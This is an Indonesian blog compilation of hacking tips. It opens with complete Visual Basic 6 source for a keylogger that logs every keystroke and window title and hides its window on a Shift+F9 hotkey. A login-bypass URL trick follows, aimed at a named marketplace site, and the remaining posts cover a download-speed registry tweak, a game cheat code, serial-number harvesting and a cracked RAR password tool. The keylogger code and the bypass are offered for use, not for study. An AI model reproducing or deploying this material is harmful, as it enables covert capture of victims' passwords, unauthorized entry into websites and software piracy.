Membuat Keylogger Dengan VisualBasic

Sesuai dengan judul di atas, kali ini saya akan memberikan sedikit tutorial cara membuat key logger sederhana dengan Visual Basic. Oke langsung saja gan..

1. Siapkan Visual Basic , Disini saya menggunakan Visual Basic 6.0
2. Buka program Visual Basic
3. New Project Standard EXE
   
   
4. Tambahkan 1 buah TextBox, 4 buah CommandButton, 2 Timer, dan 6 buah Label (Lihat Gambar)
5. Copas seluruh Code di bawah ini :
   Private Declare Function GetAsyncKeyState Lib “user32″ (ByVal vKey As Long) As Integer
   Private Declare Function GetForegroundWindow Lib “user32″ () As Long
   Private Declare Function GetWindowText Lib “user32″ Alias “GetWindowTextA” (ByVal hWnd As Long, ByVal sWndTitle As String, ByVal cLen As Long) As Long
   Private hForegroundWnd As Long
   Private backs As BooleanPrivate Sub Command1_Click()
   Timer1.Enabled = True
   End SubPrivate Sub Command2_Click()
   Timer1.Enabled = False
   End SubPrivate Sub Command3_Click()
   backs = True
   End SubPrivate Sub Command4_Click()
   backs = False
   End SubPrivate Sub Form_Load()
   backs = True
   End SubPrivate Sub Label1_Click()
   End Sub
   Private Sub Label4_Click()
   End Sub
   Private Sub Label6_Click()
   Timer1.Enabled = True
   End Sub
   Private Sub Label7_Click()
   Timer1.Enabled = False
   End Sub
   Private Sub Label8_Click()
   backs = True
   End Sub
   Private Sub Label9_Click()
   backs = False
   End Sub
   Private Sub Text1_Change()
   Text1.SelStart = 0
   Text1.SelLength = Len(Text1.Text)
   End Sub
   Private Sub Timer1_Timer()
   Dim x, x2, i, t As Integer
   Dim win As Long
   Dim Title As String * 1000
   win = GetForegroundWindow()
   If (win = hForegroundWnd) Then
   GoTo Keylogger
   Else
   hForegroundWnd = GetForegroundWindow()
   Title = “”
   GetWindowText hForegroundWnd, Title, 1000
   Select Case Asc(Title)
   Case 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 48, 49, 50, 51, 52, 53, 54, 55, 56, 57, 58, 59, 60, 61, 62, 63, 64, 65, 66, 67, 68, 69, 70, 71, 72, 73, 74, 75, 76, 77, 78, 79, 80, 81, 82, 83, 84, 85, 86, 87, 88, 89, 90, 91, 92, 93, 94, 95
   Text1.Text = Text1.Text & vbCrLf & vbCrLf & “[ " & Title
   Text1.Text = Text1.Text & " ]” & vbCrLf
   End Select
   End If
   Exit Sub
   Keylogger:
   For i = 65 To 90
   x = GetAsyncKeyState(i)
   x2 = GetAsyncKeyState(16)
   If x = -32767 Then
   If x2 = -32768 Then
   Text1.Text = Text1.Text & Chr(i)
   Else: Text1.Text = Text1.Text & Chr(i + 32)
   End If
   End If
   Next
   For i = 8 To 222
   If i = 65 Then i = 91
   x = GetAsyncKeyState(i)
   x2 = GetAsyncKeyState(16)
   If x = -32767 Then
   Select Case i
   Case 48
   Text1.Text = Text1.Text & IIf(x2 = -32768, “)”, “0″)
   Case 49
   Text1.Text = Text1.Text & IIf(x2 = -32768, “!”, “1″)
   Case 50
   Text1.Text = Text1.Text & IIf(x2 = -32768, “@”, “2″)
   Case 51
   Text1.Text = Text1.Text & IIf(x2 = -32768, “#”, “3″)
   Case 52
   Text1.Text = Text1.Text & IIf(x2 = -32768, “$”, “4″)
   Case 53
   Text1.Text = Text1.Text & IIf(x2 = -32768, “%”, “5″)
   Case 54
   Text1.Text = Text1.Text & IIf(x2 = -32768, “^”, “6″)
   Case 55
   Text1.Text = Text1.Text & IIf(x2 = -32768, “&”, “7″)
   Case 56
   Text1.Text = Text1.Text & IIf(x2 = -32768, “*”, “8″)
   Case 57
   Text1.Text = Text1.Text & IIf(x2 = -32768, “(“, “9″)
   Case 112: Text1.Text = Text1.Text & ” F1 “
   Case 113: Text1.Text = Text1.Text & ” F2 “
   Case 114: Text1.Text = Text1.Text & ” F3 “
   Case 115: Text1.Text = Text1.Text & ” F4 “
   Case 116: Text1.Text = Text1.Text & ” F5 “
   Case 117: Text1.Text = Text1.Text & ” F6 “
   Case 118: Text1.Text = Text1.Text & ” F7 “
   Case 119: Text1.Text = Text1.Text & ” F8 “
   Case 120: Text1.Text = Text1.Text & ” F9 “
   Case 121: Text1.Text = Text1.Text & ” F10 “
   Case 122: Text1.Text = Text1.Text & ” F11 “
   Case 123: Text1.Text = Text1.Text & ” F12 “
   Case 220: Text1.Text = Text1.Text & IIf(x2 = -32768, “|”, “\”)
   Case 188: Text1.Text = Text1.Text & IIf(x2 = -32768, “<”, “,”)
   Case 189: Text1.Text = Text1.Text & IIf(x2 = -32768, “_”, “-”)
   Case 190: Text1.Text = Text1.Text & IIf(x2 = -32768, “>”, “.”)
   Case 191: Text1.Text = Text1.Text & IIf(x2 = -32768, “?”, “/”)
   Case 187: Text1.Text = Text1.Text & IIf(x2 = -32768, “+”, “=”)
   Case 186: Text1.Text = Text1.Text & IIf(x2 = -32768, “:”, “;”)
   Case 222: Text1.Text = Text1.Text & IIf(x2 = -32768, Chr(34), “‘”)
   Case 219: Text1.Text = Text1.Text & IIf(x2 = -32768, “{“, “[")
   Case 221: Text1.Text = Text1.Text & IIf(x2 = -32768, "}", "]“)
   Case 192: Text1.Text = Text1.Text & IIf(x2 = -32768, “~”, “`”)
   Case 8: If backs = True Then If Len(Text1.Text) > 0 Then Text1.Text = Mid(Text1.Text, 1, Len(Text1.Text) – 1)
   Case 9: Text1.Text = Text1.Text & ” [ Tab ] “
   Case 13: Text1.Text = Text1.Text & vbCrLf
   Case 17: Text1.Text = Text1.Text & ” [ Ctrl ]“
   Case 18: Text1.Text = Text1.Text & ” [ Alt ] “
   Case 19: Text1.Text = Text1.Text & ” [ Pause ] “
   Case 20: Text1.Text = Text1.Text & ” [ Capslock ] “
   Case 27: Text1.Text = Text1.Text & ” [ Esc ] “
   Case 32: Text1.Text = Text1.Text & ” “
   Case 33: Text1.Text = Text1.Text & ” [ PageUp ] “
   Case 34: Text1.Text = Text1.Text & ” [ PageDown ] “
   Case 35: Text1.Text = Text1.Text & ” [ End ] “
   Case 36: Text1.Text = Text1.Text & ” [ Home ] “
   Case 37: Text1.Text = Text1.Text & ” [ Left ] “
   Case 38: Text1.Text = Text1.Text & ” [ Up ] “
   Case 39: Text1.Text = Text1.Text & ” [ Right ] “
   Case 40: Text1.Text = Text1.Text & ” [ Down ] “
   Case 41: Text1.Text = Text1.Text & ” [ Select ] “
   Case 44: Text1.Text = Text1.Text & ” [ PrintScreen ] “
   Case 45: Text1.Text = Text1.Text & ” [ Insert ] “
   Case 46: Text1.Text = Text1.Text & ” [ Del ] “
   Case 47: Text1.Text = Text1.Text & ” [ Help ] “
   Case 91, 92: Text1.Text = Text1.Text & ” [ Windows ] “
   End Select
   End If
   Next
   End Sub
   Private Sub Timer2_Timer()
   Dim a, b, x As Long
   a = GetAsyncKeyState(120)
   b = GetAsyncKeyState(121)
   x = GetAsyncKeyState(16)
   If a = -32767 And x = -32768 Then Me.Hide
   If b = -32767 And x = -32768 Then Me.Show
   End Sub
6. Jalankan dengan menekan tombol F5
7. Live demo bisa di download disini :
   

Selamat mencoba, semoga bermanfaat tutorial sederhana membuat keylogger ini. Wassalam…

Bypass Login Tanpa Inspect Elemen

Assalamualaikum ^o^

Kali ini ane mau share nih sedikit tips Bypass Login tanpa main Insect Element ^o^, Oke langsung saja males ngetik banyak banyak wkwkkwk :D

Kalau belum tau cara manualnya kalian baca dulu disini

1. Masuk ke halama awal target

2. Disini Targetnya adalah https://www.niche-marketplace.net, nah caranya gampang kok, kalian tinggal masukin Exploit berikut :

Exploit : /admin/index.php?flag=2

Jadi tinggal tulis deh di addresbar kayak gini www.target.com/admin/index.php?flag=2 

EX : https://niche-marketplace.net/admin/index.php?flag=2

3. Nanti penampakannya jadi kayak gini, tinggal klik login aja deh :D

4.  Selamat anda sudah masuk ke website tersebut ^_^

5. Dah tuh tinggal di hajar aja wkwokowow caranya.

 

Sekian tutorial singkat dari ane :D

NB : jika di addresbar keluar tulisan flag=1 itu tandanya tidak bisa di kipulin wkwkwk

Sumber

Membuat Maximun Speed IDM 3x lebih cepat

 Hack Dan Membuat Maximun Speed Of IDM 3x lebih cepat:
Liat Gan poto di atas ane lagi download Backtrack 5 r3 gnome32bit kecepatannya 340KB/second sebenernya 500KB/second cuma pas di poto naik dr 0 ke 340KB artinya kalo ngedownload file ukuran 340 KB maka cuma butu 1 DETIK!!,,, tapi tergantung kecepatan Download maksimun dari internet anda
ente butuh IDM gakk buat download2 file??????????? ===>klik disini
Dalam rangka untuk mempercepat IDM 3x lebih cepat, coba:

1. Klik ikon IDM, dan pastikan Anda menggunakan versi terbaru IDM

2. Klik Option.

3. Pada Connection / Connection Type/Speed, select LAN 10Mbps

4. Dan Default Max conn.number pilih 16

5. Close IDM.

6. Run Regedit> HKEY_CURRENT_USER> Software> Download Manager> (see the right window) Connection Speed> double click>

7. select decimal> content with 999999999> press OK.

9. Coba lakukan download.

Its *** Tergantung Juga pada Plan.It Internet Hanya Maksimal kecepatan IDM ..
terima kasih

Cheat ATM XP Ninja Saga 2013

 Nah Sobat Para pecinta Ninja Saga Langsung Nyimak yaa !!

Ikuti langkah2 Di bawah ini




Cheat  ATM Xp
Browser
-Download Fiddler
-Alternatif Download File Via Mediafire Swf
Download File Via Ziddu Swf
Step
1. Download Fiddler and File SWF
2. Open Fiddler and Ninja Saga
3. Drag File swf to Fiddler
4. Clear Cache Browse
5. Go to HEADQUARTERS
6. Enter CODE


Code For ATM EXP : 63978DCB04

Software Pendeteksi License/Serial Number Pada Suatu Software

di kesempatan kali ini , [S]empak [H]ackz akan membagikan Software yang mungkin Berguna Buat Sobat Yaitu Software LicenseCrawler . Tau Software LicenseCrawler? Software ini bisa untuk mendeteksi Adanya Serial Number pada suatu Software maksudnya pendeteksi adalah , Software ini bisa menemukan Serial number . Lihat beberapa Screnshot yang telh [S]empak [H]ackz buat .
                                   

Cara menggunakan Softwarenya Sangat Mudah , Lihat Gambar di atas
1. klik nomor salah satu nomornya
2. Lalu Muncul lagi , disitu klik file lalu tekan Load
3. Pilh file yang mau dicari serial numbernya , lalau tekan search
     otomatis kecari serial number yang agn cari-cari , Gimana Berminat untuk mempunyainya
Langsung Download aja .
-DOWNLOAD- 
 Password: www.satya-falah.com

Cara Membobol Password Rar dan Zip

Ada yg mengalami masalah waktu download File RAR dan File ZIP ? udah nunggu Download nya lama, Tapi File RAR nya terkunci, mana Passwodnya gak tau lagi masa di delete?  Ga mungkin kan udah lama-lama Nunggu langsung di delete :D ! Oke jangan kawatir saya ada solusinya. Langsung aja saya bagi Cara Extract/Membobol/Menjebol Password File ZIP dan RAR dengan Mudah .

• Download Software Rar Unlocked nya  Sini
• Click /Install rar-password-recovery sampai proses instalnya selesai kalau udah buka folder hasil instalnya .
• Replace Louncer yang original dengan cracknya (gambar rar ada kuncinya ) saya sertakan di file yg di download sebelumnya, kalau udah click 2 kali Louncernya untuk membuka programnya 

Tunggu sampai proses nya selesai nanti Anda akan dikasih Password baru.

Gampang kan Cara Membobol/Menjebol/Extract Password File ZIP dan RAR Yang di pasang Password. Oke udah dulu semoga bermanfaat